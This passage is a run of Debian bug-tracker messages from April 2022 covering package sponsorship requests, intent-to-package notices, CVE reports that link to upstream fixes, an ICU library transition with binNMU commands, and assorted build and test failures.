(which is high prio)

BTW please repack all the minified files and minify them during the build using 
terser[1] or something similar

[1]: https://tracker.debian.org/pkg/node-terser

Regards
Nilesh


signature.asc
Description: PGP signature

Bug#1009859: sbuild does not download http(s) .dsc files if libwww-perl is not installed

[Guillem Jover]

Hi!

On Tue, 2022-04-19 at 18:46:09 +0200, Johannes Schauer Marin Rodrigues wrote:
> wow, I didn't even know sbuild could do this!
> 
> I don't think it'd be wise to promote libwww-perl from a Suggests to a
> Recommends because this far from an essential sbuild functionality and I only
> see it as a convenience feature. And even as that I never needed it. […]

BTW, an alternative could be to switch from LWP::UserAgent to HTTP::Tiny
which is part of perl core, although its TLS support still comes from
IO::Socket::SSL (libio-socket-ssl-perl), but that's not worse than with
libwww-perl, while reducing dependencies substantially. :)

Thanks,
Guillem

Bug#1004921: libtsm: Package too old for kmscon

[Victor Westerhuis]

On 26/04/2022 23:31, Bastian Germann wrote:
On Thu, 03 Feb 2022 18:00:15 +0100 Victor Westerhuis 
 wrote:

I've just opened an ITP bug for kmscon, #1004919. This package
depends on libtsm version 4.0.0 or greater.

Upstream development has long stopped on libtsm and kmscon depends
on a fork by the same author at https://github.com/Aetf/libtsm.

I have prepared packaging for version 4.0.1 from the fork at
https://salsa.debian.org/viccie30/libtsm. You are welcome to use
that, but I'm also willing to take over maintenance if you want.

It looks like there are no reverse dependencies on the current
versions of libtsm3 and libtsm-dev, so the upgrade should create
no problems.


I have sponsored the package version from Victor as a NMU with some tiny 
modifications.

The debdiff is attached.

Thanks for the upload. I missed the extra copyright declaration from HP 
halfway through external/xkbcommon/xkbcommon-keysyms.h, so thank you for 
noticing.

If you do not like the change, please ask FTP Masters to remove the upload

--
Victor Westerhuis 

Bug#1010262: RFS: wifi-qr/0.2-2 -- WiFi Share and Connect with QR

[Ko Ko Ye`]

Package: sponsorship-requests
Severity: normal

Dear mentors,

I am looking for a sponsor for my package "wifi-qr":

 * Package name: wifi-qr
   Version : 0.2-2
   Upstream Author : kokoye2007 
 * URL : https://github.com/kokoye2007/wifi-qr
 * License : GPL-3.0+
 * Vcs : https://github.com/kokoye2007/wifi-qr
   Section : utils

The source builds the following binary packages:

  wifi-qr - WiFi Share and Connect with QR


NAME
   wifi-qr -  WiFi Share and Connect with QR

SYNOPSIS
   wifi-qr [Gg|Cc|Tt|Ss|Ff|Pp|Qq|Vv]

DESCRIPTION
PC to Android Network SSID Password share with QR code.
Idea from Xiaomi Android WiFi Password share with QR
Its just bash script and qrencode only.
now support also QR Scan with connect to WIFI.
Make to easy and happy.

OPTIONS
   wifi-qr option

   gGUI Main Menu

   cWiFi QR Create GUI

   tWiFi QR Create Terminal

   sQR Scan and Auto Connect WiFi

   fTerminal - QR File Scan and Auto Connect WiFi

   pWith Gui - QR File Scan and Auto Connect WiFi

   qQR Scan and Connect WiFi GUI

   vWiFi-QR Version is 0.1.1


To access further information about this package, please visit the
following URL:

  https://mentors.debian.net/package/wifi-qr/

Alternatively, you can download the package with 'dget' using this command:

  dget -x
https://mentors.debian.net/debian/pool/main/w/wifi-qr/wifi-qr_0.2-2.dsc

Changes since the last upload:

 wifi-qr (0.2-2) UNRELEASED; urgency=medium
 .
   * QR Code Scan from File Function Update.

Regards,

Bug#1010258: python3-pymca5: flaky autopkgtest on i386

[Julian Gilbey]

On Wed, Apr 27, 2022 at 12:49:55PM +0200, picca wrote:
> On 2022-04-27 11:47, Julian Gilbey wrote:
> > Package: python3-pymca5
> > Version: 5.7.1+dfsg-1
> > Severity: normal
> > X-Debbugs-Cc: Picca Frédéric-Emmanuel 
> > 
> > Uploading a new version of python3-qtconsole with only changes to the
> > autopkgtest suite (no changes to the python3 module at all) caused
> > those packages depending on it to be retested on the CI system.  One
> > of these is pymca, and it failed:
> > https://ci.debian.net/data/autopkgtest/testing/i386/p/pymca/21180621/log.gz
> > I tried running it locally and it passed fine, as it did with the
> > previous version of python3-qtconsole.  So it seems that this test is
> > flaky, at least with Python 3.10:
> > 
> > ==
> > FAIL: testFullViewNumpy (McaStackViewTest.testMcaStackView)
> > --
> > Traceback (most recent call last):
> >   File
> > "/usr/lib/python3/dist-packages/PyMca5/tests/McaStackViewTest.py",
> > line 208, in testFullViewNumpy
> > self._assertFullView(data)
> >   File
> > "/usr/lib/python3/dist-packages/PyMca5/tests/McaStackViewTest.py",
> > line 274, in _assertFullView
> > numpy.testing.assert_array_equal(data[idxFull],
> >   File
> > "/usr/lib/python3/dist-packages/numpy/testing/_private/utils.py", line
> > 934, in assert_array_equal
> > assert_array_compare(operator.__eq__, x, y, err_msg=err_msg,
> >   File
> > "/usr/lib/python3/dist-packages/numpy/testing/_private/utils.py", line
> > 844, in assert_array_compare
> > raise AssertionError(msg)
> > AssertionError:
> > Arrays are not equal
> > 
> > Mismatched elements: 1 / 1512 (0.0661%)
> > Max absolute difference: 4.54747351e-13
> > Max relative difference: 2.09568557e-16
> >  x: array(1008.747835, 1009.708006, 1010.258788, ..., 1014.26906 ,
> >   1015.457929, 1016.341512],
> >  [1017.31171 , 1018.872885, 1019.41133 , ..., 1023.968694,...
> >  y: array(1008.747835, 1009.708006, 1010.258788, ..., 1014.26906 ,
> >   1015.457929, 1016.341512],
> >  [1017.31171 , 1018.872885, 1019.41133 , ..., 1023.968694,...
> > 
> > --
> > 
> > Unfortunately the output does not show which elements mismatched or
> > what their values were.
> > 
> > I don't know how best to proceed with a flaky test; I could re-upload
> > python3-qtconsole, but that doesn't seem like the best approach.  Or
> > perhaps this test could be marked as flaky or skipped on i386?  It
> > would be very good to resolve this, though, as it's one of the few
> > things blocking spyder from migrating to testing.
> > 
> > Thanks!
> > 
> >Julian
> 
> 
> Hello Julien, it seems thatt he solution is to relax the comparison in the
> pymca code.
> I am in vacation. So if you want to add a patch to relax this constrain do
> not hesitate.
> Just push this to the pymca salsa code.
> You can upload it if you want.
> 
> cheers
> 
> Fred

Thanks Fred, I'll take a look!

Best wishes,

   Julian

Bug#1009907: Smbclient error: "Failed to mount Window share: invalid argument"

[Michael Tokarev]

27.04.2022 14:38, Salis, Antonello (NFOD) wrote:

The new update 2:4.16.0+dfsg-7 is affected as well.


Sure, there was nothing done in there about this issue.
Or else I'd mark it as fixed or at least asked you guys
to try it out :)

Thanks!

/mjt

Bug#1010262: RFS: wifi-qr/0.2-2 -- WiFi Share and Connect with QR

[Bastian Germann]

Control: tags -1 moreinfo

You have to target unstable or experimental.

For the new patch: Please fill the DEP-3 template or remove lines that you do 
not want to use.

What about bug #989034? Please fix this.

When you are done, please untag moreinfo.

Bug#1009907: Smbclient error: "Failed to mount Window share: invalid argument"

[Salis, Antonello (NFOD)]

The new update 2:4.16.0+dfsg-7 is affected as well.

On 4/25/22 12:35, Simon McVittie wrote:
> Control: tags -1 - patch
> Control: forwarded -1 https://gitlab.gnome.org/GNOME/gvfs/-/issues/619
>
> On Wed, 20 Apr 2022 at 20:44:38 +0300, Michael Tokarev wrote:
>> 20.04.2022 16:06, Salis, Antonello (NFOD) wrote:
>>>  When I try to browse Windows folders with Nautilus or Nemo i get 
>>> "Failed to mount Window share: invalid argument".
>>> This never happened before last week.
>>> Found a similar topic here:https://bbs.archlinux.org/viewtopic.php?id=275179
>> This appears to be this issue: 
>> https://gitlab.gnome.org/GNOME/gvfs/-/issues/611
>> and this fix: https://gitlab.gnome.org/GNOME/gvfs/-/merge_requests/138
> I don't think that's necessarily it, unless all the people seeing this
> have a misconfigured Kerberos setup (which seems unlikely).
>
> I tried upgrading gvfs to version 1.50.1 (which includes !138) and I cannot
> connect successfully to a Samba share that allows anonymous access, logging
> in as ANONYMOUS.
>
> Workaround: I *can* connect successfully to a share that allows guest
> access with an arbitrary username and a non-empty password (I used
> "aaa", which is not my password on the server). This seems consistent
> with upstream bug 619, which does not yet have a known solution.
>
>  smcv

Bug#1009666: collectd-core: Please package NUT plugin

[IOhannes m zmoelnig]

On Wed, 13 Apr 2022 16:55:46 -0700 Ian Eure  wrote:

Package: collectd-core
Version: 5.12.0-7
Severity: wishlist

Dear Maintainer,

I want to use collectd to monitor my UPS, but I’m not able to, 
since collectd isn’t build with the --enable-nut flag.


Would it be possible to include support for this, either in the 
collectd-core package or a separate collectd-plugin-nut one?





actually the collectd package has re-introduced the 'nut' module with 
5.12.0-8 (uploaded to unstable on 2022-01-20; currently in testing).


so: would it be possible to upload collectd to backports?

side effects would be:
- hddtemp has been removed
- onewire has been removed
- (a couple of other modules have been removed for exotic archs like 
kfreebsd/sha4/ia64/hurd/alpha/i386)
(personally i don't care for any of these, but would love to the have 
'nut' module on my servers running "bullseye")


dfas
IOhannes


OpenPGP_signature
Description: OpenPGP digital signature

Bug#1010264: CVE-2022-28391

[Moritz Muehlenhoff]

Package: e2fsprogs
Version: 1.46.5-2
Severity: important

This issue was found by Alpine:
https://gitlab.alpinelinux.org/alpine/aports/-/issues/13661

Details and the patches they used are in the report above, but the
patches are not yet merged upstream, might be worth to wait until
that's fixed since the impact is rather low.

Cheers,
Moritz

Bug#969482: ITP: glab -- An open-source GitLab command line tool

[David Heidelberg]

There is interest in this package. Personally I would prefer to not to 
install `glab` trough Snap.


David

Bug#1010263: CVE-2022-1304

[Moritz Muehlenhoff]

Package: e2fsprogs
Version: 1.46.5-2
Severity: important
Tags: security
X-Debbugs-Cc: Debian Security Team 

This was assigned CVE-2022-1304, originally reported to Red Hat:
https://bugzilla.redhat.com/show_bug.cgi?id=2069726
https://bugzilla.redhat.com/show_bug.cgi?id=2068113

Patch (not yet merged:
https://lore.kernel.org/linux-ext4/20220421173148.20193-1-lczer...@redhat.com/T/#u

Cheers,
Moritz

Bug#1010265: CVE-2022-28805

[Moritz Muehlenhoff]

Package: lua5.4
Version: 5.4.4-1
Severity: important
Tags: security
X-Debbugs-Cc: Debian Security Team 

This was assigned CVE-2022-28805:
https://github.com/lua/lua/commit/1f3c6f4534c6411313361697d98d1145a1f030fa
http://lua-users.org/lists/lua-l/2022-02/msg1.html
http://lua-users.org/lists/lua-l/2022-02/msg00070.html

Can you please check whether this also affects the older Lua versions
in the archive?

Cheers,
Moritz

Bug#1008707: RFS: calamares-extensions/1.2.1-1 [ITP] -- Mobile module for Calamares installer framework

[undef]

Please keep the git repo updated as well.



I held out pushing until I was happy with the upload, then promptly 
started something else. Pushed now.

Bug#1010266: RFS: base16384/2.2.0-3 [ITP] -- Encode binary files to printable utf16be

[fumiama]

Package: sponsorship-requests
Severity: wishlist

Dear mentors,

I am looking for a sponsor for my package "base16384":

 * Package name: base16384
   Version : 2.2.0-3
   Upstream Author : fumiama 
 * URL : https://github.com/fumiama/base16384
 * License : GPL-3.0+
 * Vcs : https://salsa.debian.org/debian/base16384
   Section : utils

The source builds the following binary packages:

  base16384 - Encode binary files to printable utf16be

To access further information about this package, please visit the following 
URL:

  - https://github.com/fumiama/base16384
  - https://mentors.debian.net/package/base16384/

Alternatively, you can download the package with 'dget' using this command:

  dget -x 
https://mentors.debian.net/debian/pool/main/b/base16384/base16384_2.2.0-3.dsc

I have also published the package to launchpad. If you are using Ubuntu,
you can also install this package by the commands below:

  sudo add-apt-repository ppa:fumiama/ppa
  sudo apt-get update
  sudo apt-get install base16384

Thanks to Bastian Germann's introduction on my previous RFS,
I have changed several files to fix the issues and reduced the lintian warnings.
I hope these changes would make it possible for this package being accepted
by the Debian family.

Changes for the initial release:

 base16384 (2.2.0-3) unstable; urgency=medium
 .
   * Fix some issues in packaging. Closes: #1010055 (ITP).

Regards,
--
  fumiama

Bug#1006942: safeeyes: Safeeyes no longer seems to appears in the KDE/Plasma system tray

[Julian Gilbey]

On Wed, Mar 09, 2022 at 08:59:20AM +0100, Jonas Andradas wrote:
> On Tue, Mar 8, 2022 at 5:57 PM Jonas Andradas  wrote:
> 
>   Package: safeeyes
>   Version: 2.1.3-1
>   Severity: minor
>   X-Debbugs-Cc: j.andra...@gmail.com
> 
>   Dear Maintainer,
> 
>   I noticed that fairly recently (unfortunately, cannot exactly be sure when 
> or
>   after which package update), safeeyes does not seem appear anymore in
>   KDE/Plasma system tray. It is not shown on the system tray, neither in the
>   "visible" elements nor in the "box" that has the hidden icons.
> [...]
> 
> It seems that this bug was also opened upstream on safeeyes' github: 
> https://github.com/slgobinath/SafeEyes/issues/428 (which seems related to
> https://github.com/slgobinath/SafeEyes/issues/268)
> Best Regards,
> Jonas.

Indeed; it is fixed in commit
https://github.com/slgobinath/SafeEyes/commit/c784000e694f9fa508a2535f5d23d04456b4ff86
but upstream have not yet released a new version of the package.

Please could you upload a patched version to Debian?

Best wishes,

   Julian

Bug#1010004: RFS: odr-dabmod/2.6.0-1 [ITP] -- DAB modulator compliant to ETSI EN 300 401

[Robin ALEXANDER]

Hi Bastian,

thank you very much. I followed your instructions and uploaded again
both odr-dabmod (Bug#1010004) and odr-dabmux (Bug#1009867). I also
removed the tag "moreinfo" on both bugs (hoping I did it right).

I now have 1 question. When I built these packages, debuild generated
the xxx_amd64.changes files. Why do I have "amd64" in the filename (I
understand it relates to the X86_64 architecture)?
For your information, the source is mainly C++ based and it compiles
properly under arm64 and arm/v7 as well. Should I have ran debuild in a
different manner or is it going to be taken care of by the debian
packaging process later on?

Kind regards.

-- 
Robin ALEXANDER

Le mercredi 27 avril 2022 à 00:58 +0200, Bastian Germann a écrit :
> Control: tags -1 moreinfo
> 
> On Fri, 22 Apr 2022 10:20:06 +0200 Robin ALEXANDER
>  wrote:
> > Changes for the initial release:
> > 
> >  odr-dabmod (2.6.0-1) unstable; urgency=low
> >  .
> >    * Initial release. Closes: #1007104
> 
> Please fix the lintian error (JS minified, source missing) by having
> the unminified source in debian/missing-sources.
> When you have uploaded a new revision (not changing the changelog),
> untag moreinfo.


signature.asc
Description: This is a digitally signed message part

Bug#1007905: transition: icu

[Adrian Bunk]

On Fri, Apr 22, 2022 at 07:30:56PM +0200, Sebastian Ramacher wrote:
> Control: tags -1 = confirmed
> Control: forwarded -1 
> https://release.debian.org/transitions/html/auto-icu.html
> 
> Hi
> 
> On 2022-04-13 17:24:20 +0200, László Böszörményi wrote:
> > On Wed, Apr 13, 2022 at 2:36 PM Jeremy Bicha  
> > wrote:
> > > mozjs78 and mozjs91 now no longer have an ICU dependency in Unstable.
> > >
> > > 0ad was fixed also.
> >  Thanks. Did the rebuild locally on i386 and amd64; started with the
> > ICU 71.1 RC release and finished with the final release if that
> > matters. Only used Sid versions, didn't try the ones in experimental.
> > The following is the result.
> > icu-le-hb is outdated, need to be removed; pyicu needs an update that
> > I've locally. gnucash self-testing fails with its C and Golang tests.
> > The former can be fixed by adding tzdata build dependency and not yet
> > checked the latter.
> > LibreOffice self-testing, especially its break iterator test fails for
> > the Lao language. Otherwise everything was fine. But I think I might
> > redo the rebuilds (only on amd64 now) to test everything with the
> > final release of ICU. If that's not mandatory, I think ICU is quite OK
> > for a transition soon.
> 
> Please go ahead

For the ICU transition also in experimental, please do:

# Level 1

wb nmu dino-im_0.3.0-3+handy . ANY . experimental . -m "Rebuild against 
libicu71"
wb nmu matrix-construct_0.6.103~dfsg1+~6.11.4-2 . amd64 . experimental . -m 
"Rebuild against libicu71"
wb nmu performous_1.1+git20190701.9928c27-4 . ANY . experimental . -m "Rebuild 
against libicu71"
wb nmu qtbase-opensource-src_5.15.3+dfsg-2 . ANY . experimental . -m "Rebuild 
against libicu71"
wb nmu slic3r-prusa_2.4.2~rc2+dfsg-1 . amd64 arm64 armhf i386 mips64el mipsel 
ppc64el s390x . experimental . -m "Rebuild against libicu71"
wb nmu tracker_3.3.0-1 . ANY . experimental . -m "Rebuild against libicu71"

# Level 2

wb nmu gazebo_11.10.2+dfsg-1 . amd64 . experimental . -m "Rebuild against 
libicu71"
# no packages from experimental installed during the build

wb nmu qtlocation-opensource-src_5.15.3+dfsg-3 . ANY . experimental . -m 
"Rebuild against libicu71"
wb dw qtlocation-opensource-src . ANY . experimental . -m "libqt5opengl5-dev 
(>= 5.15.3+dfsg-2+b1)"

wb nmu tracker-miners_3.3.0-1 . ANY . experimental . -m "Rebuild against 
libicu71"
wb dw tracker-miners . ANY . experimental . -m "libtracker-sparql-3.0-dev (>= 
3.3.0-1+b1)"

# Level 3

wb nmu 1 qtwebengine-opensource-src_5.15.9+dfsg-1 . amd64 arm64 armhf i386 
mips64el mipsel . experimental . -m "Rebuild against libicu71"
wb dw qtwebengine-opensource-src . amd64 arm64 armhf i386 . experimental . -m 
"qtbase5-dev (>= 5.15.3+dfsg-2+b1)"
# nodejs 14 sometimes hangs on mips{,64}el
wb gb qtwebengine-opensource-src . mipsel mips64el . experimental . 
--extra-depends "nodejs (>= 16.14), qtbase5-dev (>= 5.15.3+dfsg-2+b1)"


> Cheers

cu
Adrian

Bug#1010130: libfreecad-python3-0.19: Dependency on libboost-regex1.74.0-icu67 no longer available in sid

[Dan Chokola]

Agreed. I was just able to install FreeCAD on Debian Sid.


On Wed, Apr 27, 2022 at 8:17 AM Antoine Le Gonidec
 wrote:
>
> On Sun, 24 Apr 2022 19:36:43 -0400 Daniel Peter Chokola 
>  wrote:
> > libfreecad-python3-0.19 depends on the virtual package, 
> > libboost-regex1.74.0-icu67, which is no longer available as 
> > libboost-regex1.74 is built against libicu71. This makes FreeCAD 
> > uninstallable.
>
> libfreecad-python3-0.19 0.19.4+dfsg1-1+b2, the current version provided with 
> Debian Sid, is depending on libboost-regex1.74.0-icu71. Thanks to this update 
> freecad should once again be installable on an up-to-date Debian Sid.



-- 
Dan Chokola

Bug#976960: systemd: Please package systemd-userdbd and systemd-homed

[Vasudev Kamath]

Hi Michael,

> I still fail to see the use-case for homed, tbh and the current
> implementation still requires quite a few hacks (see the fosdem 2020
> talk of Lennart and the problems e.g. with SSH keys).

> Atm this appears more like a tech-preview/demo and I don't feel
> comfortable yet supporting it.
> This can be reconsidered in bookworm.

Its been a long time from this reply. Can it now be considered to be
supported in Debian?. Even if its tech-preview/demo it will be useful
for users who want to experiment with new stuff.

By not shipping we are blocking people from experimenting things given
that systemd is core component of OS.

Cheers,
Vasudev

Bug#992073: shim-signed: restore arm64 support

[Wookey]

Binutils 2.38 now has proper PE/COFF output support for arm64.
(And is in unstable and testing.)
https://sourceware.org/pipermail/binutils/2022-February/119721.html

I think this is the relevant bit:
"Support for efi-app-aarch64, efi-rtdrv-aarch64 and
 efi-bsdrv-aarch64 has been added to objcopy in order to enable
 UEFI development using binutils."

So we should now be able to build shim-signed on arm64 without the
hackery that was previously used to simulate this format (and then had
to be disabled because it broke things (AIUI)).

I'm not sure how much work this is or if anyone else is already
working on it?  I presume it should be a simplification by removing
the previous workarounds and bulding just as we do on x86 now?

Happy to have a look if someone gives me some pointers. (A look round
the package for an hour was not sufficient for me to work out how shim
itself or the various other bits is all put together (shim-signed,
shim-helpers--signed etc) and where it needs poking).

Wookey
-- 
Principal hats:  Debian, Wookware, ARM
http://wookware.org/


signature.asc
Description: PGP signature

Bug#1010266: RFS: base16384/2.2.0-3 [ITP] -- Encode binary files to printable utf16be

[Bastian Germann]

Control: tags -1 moreinfo

On Wed, 27 Apr 2022 20:02:18 +0800 fumiama  wrote:

Changes for the initial release:

 base16384 (2.2.0-3) unstable; urgency=medium
 .
   * Fix some issues in packaging. Closes: #1010055 (ITP).


Please always keep the -1 Debian revision until sour package is sponsored.
Also, according to my message, please say "Initial Release. Closes: #1010055 
(ITP)." in the changelog.
Report your changes in this RFS bug, not in the changelog.
I am tagging moreinfo. Please untag on providing a new revision.

Bug#1010004: RFS: odr-dabmod/2.6.0-1 [ITP] -- DAB modulator compliant to ETSI EN 300 401

[Bastian Germann]

Am 27.04.22 um 14:13 schrieb Robin ALEXANDER:

I now have 1 question. When I built these packages, debuild generated
the xxx_amd64.changes files. Why do I have "amd64" in the filename (I
understand it relates to the X86_64 architecture)?
For your information, the source is mainly C++ based and it compiles
properly under arm64 and arm/v7 as well. Should I have ran debuild in a
different manner or is it going to be taken care of by the debian
packaging process later on?


You caompiled the package on a x86_64 PC, so that behaviour and your use of 
debuild is okay.
When you set "Architecture: any" on a binary package, the buildd network will try to compile the package on every 
Debian-supported architecture and kernel, which includes armel, armhf, and arm64.

Bug#992073: shim-signed: restore arm64 support

[Steve McIntyre]

On Wed, Apr 27, 2022 at 01:33:47PM +0100, Wookey wrote:
>Binutils 2.38 now has proper PE/COFF output support for arm64.
>(And is in unstable and testing.)
>https://sourceware.org/pipermail/binutils/2022-February/119721.html
>
>I think this is the relevant bit:
>"Support for efi-app-aarch64, efi-rtdrv-aarch64 and
> efi-bsdrv-aarch64 has been added to objcopy in order to enable
> UEFI development using binutils."
>
>So we should now be able to build shim-signed on arm64 without the
>hackery that was previously used to simulate this format (and then had
>to be disabled because it broke things (AIUI)).
>
>I'm not sure how much work this is or if anyone else is already
>working on it?  I presume it should be a simplification by removing
>the previous workarounds and bulding just as we do on x86 now?
>
>Happy to have a look if someone gives me some pointers. (A look round
>the package for an hour was not sufficient for me to work out how shim
>itself or the various other bits is all put together (shim-signed,
>shim-helpers--signed etc) and where it needs poking).

I'm hacking on shim right now, setting up local CI etc. to help me
with testing. As soon as I can validate that arm64 stuff is working
correctly now, I'll take out the hacks I added. Give me a few days...

-- 
Steve McIntyre, Cambridge, UK.st...@einval.com
"The problem with defending the purity of the English language is that
 English is about as pure as a cribhouse whore. We don't just borrow words; on
 occasion, English has pursued other languages down alleyways to beat them
 unconscious and rifle their pockets for new vocabulary."  -- James D. Nicoll

Bug#1010268: ITP: node-sinclair-typebox -- JSON Schema Type Builder with Static Type Resolution for TypeScript

[Yadd]

Package: wnpp
Severity: wishlist
Owner: Yadd 
X-Debbugs-Cc: debian-de...@lists.debian.org

* Package name: node-sinclair-typebox
  Version : 0.23.4
  Upstream Author : sinclairzx81 
* URL : https://github.com/sinclairzx81/typebox
* License : Expat
  Programming Lang: JavaScript
  Description : JSON Schema Type Builder with Static Type Resolution for 
TypeScript

@sinclair/typeBox is a library that creates in-memory JSON Schema objects
that can be statically inferred as TypeScript types. The schemas produced by
this library are designed to match the static type checking rules of the
TypeScript compiler. TypeBox allows one to create a unified type that can be
both statically asserted by the TypeScript compiler and runtime asserted
using standard JSON Schema validation.

@sinclair/typeBox can be used as a simple tool to build up complex schemas or
integrated into RPC or REST services to help validate JSON data received over
the wire. TypeBox does not provide any JSON schema validation. Please use
libraries such as AJV to validate schemas built with this library.

node-sinclair-typebox is a new dependency of jest and will be maintained
under JS Team umbrella

Bug#1010256: ITP: rust-ahash -- non-cryptographic hash function

[James McCoy]

On Wed, Apr 27, 2022 at 10:36:54AM +0200, Jonas Smedegaard wrote:
> * Package name: rust-ahash
>   Version : 0.7.6
>   Upstream Author : Tom Kaitchuck 
> * URL : https://github.com/tkaitchuck/ahash
> * License : Apache-2.0 or Expat
>   Programming Lang: Rust
>   Description : non-cryptographic hash function
> 
>  AHash is the fastest, DOS resistant hash currently available in Rust.
>  AHash is intended *exclusively* for use in in-memory hashmaps.
>  .
>  AHash's output is of high quality
>  but aHash is **not** a cryptographically secure hash.
> 
> This package is needed by ITP packages atomic-data-rust and fractal.
> It will be maintained in the collaborative debian section at salsa,
> here: https://salsa.debian.org/debian/rust-ahash

This was already being worked on in debcargo-conf[0][1].  Is there a
particular reason this wasn't coordinated with the rust team?

[0]: https://salsa.debian.org/rust-team/debcargo-conf/-/tree/master/src/ahash/
[1]: 
https://alioth-lists.debian.net/pipermail/pkg-rust-maintainers/2022-March/018795.html

Cheers,
-- 
James
GPG Key: 4096R/91BF BF4D 6956 BD5D F7B7  2D23 DFE6 91AE 331B A3DB

Bug#1010267: ITP: tractor -- Setup an onion routing proxy

[Danial Behzadi]

Package: wnpp
Severity: wishlist
Owner: Danial Behzadi 
X-Debbugs-Cc: debian-de...@lists.debian.org

* Package name: tractor
  Version : 3.12
  Upstream Author : Danial Behzadi 
* URL : https://framagit.org/tractor/tractor/
* License : GPL
  Programming Lang: Python
  Description : Setup an onion routing proxy

 This package uses Python stem library to provide
 a connection through the onion proxy and sets up
 proxy in user session, so you don't have to mess
 up with TOR on your system anymore.

 - I use this package to setup some tor connections in user
   session, quickly turn bridges on/off or setting/unsetting
   tor proxy in my session.
 - I will maintain the software and the package for Debian,
   but since I'm not a DD yet, I'll need a sponsor for it.108

Bug#996965: CSS help needed for r-cran-bslib (Was: shiny-server in debian)

[Andreas Tille]

Hi Nilesh,

Am Wed, Apr 27, 2022 at 04:30:40PM +0530 schrieb Nilesh Patra:
> On Wed, Apr 27, 2022 at 10:59:25AM +0200, Andreas Tille wrote:
> > ── Error (test-theme-base-colors.R:45:3): bs3 base colors 
> > ──
> > Error in `compile_data(sass_input, options)`: Error: Invalid CSS after "... 
> > floor(math": expected expression (e.g. 1px, bold), was 
> > ".div($grid-gutter-w"
> > on line 369:46 of 
> > ../../../../../../usr/share/nodejs/bootstrap-sass/assets/stylesheets/bootstrap/_variables.scss
> 
> This was coming from node-bootstrap-sass directly as it was using new API for 
> some
> functions which is not yet compatible with sass.
> I have fixed them. Now, 200 tests pass and just a couple of tests fail and I 
> am out of
> time to check those now. _maybe_ you could skip for now and upload to 
> unstable (which is high prio)

Thanks a lot for your help on this (deserves another $drink from me ;-) )
Those three failing tests are patched out now.

> BTW please repack all the minified files and minify them during the build 
> using terser[1] or something similar

I tried to repack[2] but I get

r-cran-bslib/debian/missing_source/bs5(master) $ terser --compress --mangle -- 
bootstrap.bundle.js

/usr/share/nodejs/terser/bin/terser:153
if (~opts.rawArgs.indexOf("--rename")) {
  ^
TypeError: Cannot read property 'indexOf' of undefined
at Object. (/usr/share/nodejs/terser/bin/terser:153:19)
at Module._compile (internal/modules/cjs/loader.js:1085:14)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:1114:10)
at Module.load (internal/modules/cjs/loader.js:950:32)
at Function.Module._load (internal/modules/cjs/loader.js:790:12)
at Function.executeUserEntryPoint [as runMain] 
(internal/modules/run_main.js:75:12)
at internal/main/run_main_module.js:17:47

/usr/share/nodejs/terser/tools/exit.js:14
throw exit;
^
[Function: exit]


Any idea what might be wrong?

Kind regards

  Andreas.

> [1]: https://tracker.debian.org/pkg/node-terser

[2] 
https://salsa.debian.org/r-pkg-team/r-cran-bslib/-/tree/master/debian/missing_source/bs5

-- 
http://fam-tille.de

Bug#1009765: RFS: vertcoin/0.18.0-1 -- peer-to-peer network based digital currency - CLI tools

[Bastian Germann]

Control: tags -1 moreinfo

There are problems with d/changelog (format, newline separating one entry, ending newline), with d/copyright (order of 
matching patterns, missing-license-text-in-dep5-copyright, please get rid of the related overrides), and with d/control 
(maintainer/uploaders) just by looking at the mentors page. You should fix them (make the package lintian clean, not 
using any overrides) and then untag moreinfo.

Bug#821801: smbclient: Problems with smbclient since badlock update

[Michael Tokarev]

Control: tag -1 + moreinfo

Replying to an old bug...

On Tue, 19 Apr 2016 13:43:29 +0200 tkla  wrote:

Package: smbclient
Version: 4.2.10
Severity: normal
Tags: upstream

Dear Maintainer,
since the badlock fixes my backup software Amanda stopped working when we're
trying to backup Windows shares.

Please have a look at the bug report i have opened at upstream
https://bugzilla.samba.org/show_bug.cgi?id=11854


Hi!

Do you still have this problem with current version of samba and amanda?
I suspect the issue you had with stretch samba (4.4) update --
ERROR: MYSERVER: smbclient: Error reading password from file descriptor 3: 
empty password -
has been fixed quite long time ago in amanda.

Thank you!

/mjt

Bug#1010256: ITP: rust-ahash -- non-cryptographic hash function

[Jonas Smedegaard]

Hi James,

Quoting James McCoy (2022-04-27 15:05:54)
> On Wed, Apr 27, 2022 at 10:36:54AM +0200, Jonas Smedegaard wrote:
> > * Package name: rust-ahash
> >   Version : 0.7.6
> >   Upstream Author : Tom Kaitchuck 
> > * URL : https://github.com/tkaitchuck/ahash
> > * License : Apache-2.0 or Expat
> >   Programming Lang: Rust
> >   Description : non-cryptographic hash function
> > 
> >  AHash is the fastest, DOS resistant hash currently available in Rust.
> >  AHash is intended *exclusively* for use in in-memory hashmaps.
> >  .
> >  AHash's output is of high quality
> >  but aHash is **not** a cryptographically secure hash.
> > 
> > This package is needed by ITP packages atomic-data-rust and fractal.
> > It will be maintained in the collaborative debian section at salsa,
> > here: https://salsa.debian.org/debian/rust-ahash
> 
> This was already being worked on in debcargo-conf[0][1].  Is there a
> particular reason this wasn't coordinated with the rust team?

Uhm, the very thing you replied to *is* my communication about this.

If you meant why I didn't use internal Rust-team-specific communication 
channels, then it is because I am not part of that team and find it 
wrong for Debian teams to internalize such communication.


Kind regards,

 - Jonas

-- 
 * Jonas Smedegaard - idealist & Internet-arkitekt
 * Tlf.: +45 40843136  Website: http://dr.jones.dk/

 [x] quote me freely  [ ] ask before reusing  [ ] keep private

signature.asc
Description: signature

Bug#1010256: ITP: rust-ahash -- non-cryptographic hash function

[Jonas Smedegaard]

X-Debbugs-Cc: James McCoy , debian-r...@lists.debian.org

[ re-posted using X-Debbugs-Cc to avoid some routing issues ]

Hi James,

Quoting James McCoy (2022-04-27 15:05:54)
> On Wed, Apr 27, 2022 at 10:36:54AM +0200, Jonas Smedegaard wrote:
> > * Package name: rust-ahash
> >   Version : 0.7.6
> >   Upstream Author : Tom Kaitchuck 
> > * URL : https://github.com/tkaitchuck/ahash
> > * License : Apache-2.0 or Expat
> >   Programming Lang: Rust
> >   Description : non-cryptographic hash function
> > 
> >  AHash is the fastest, DOS resistant hash currently available in Rust.
> >  AHash is intended *exclusively* for use in in-memory hashmaps.
> >  .
> >  AHash's output is of high quality
> >  but aHash is **not** a cryptographically secure hash.
> > 
> > This package is needed by ITP packages atomic-data-rust and fractal.
> > It will be maintained in the collaborative debian section at salsa,
> > here: https://salsa.debian.org/debian/rust-ahash
> 
> This was already being worked on in debcargo-conf[0][1].  Is there a
> particular reason this wasn't coordinated with the rust team?

Uhm, the very thing you replied to *is* my communication about this.

If you meant why I didn't use internal Rust-team-specific communication 
channels, then it is because I am not part of that team and find it 
